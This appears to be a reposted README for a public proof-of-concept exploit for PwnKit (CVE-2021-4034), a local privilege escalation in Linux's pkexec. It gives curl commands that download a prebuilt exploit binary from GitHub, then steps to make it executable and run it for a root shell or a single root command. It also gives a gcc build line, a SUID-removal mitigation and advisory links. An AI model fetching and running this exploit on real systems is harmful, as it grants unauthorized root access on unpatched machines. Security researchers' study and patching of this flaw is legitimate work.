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PwnKit-CVE-2021-4034

Proof-of-concept exploit for CVE-2021-4034 (PwnKit) targeting pkexec SUID binary to achieve local privilege escalation on Linux systems. Includes manual execution and build instructions.

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PwnKit

PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation

Exploit

Manually

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

Patched

Running the exploit against patched versions will yield the following output.

Build

root@kitploit:~
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Mitigation

If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

Technical Details

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

References

  • https://github.com/arthepsy/CVE-2021-4034/
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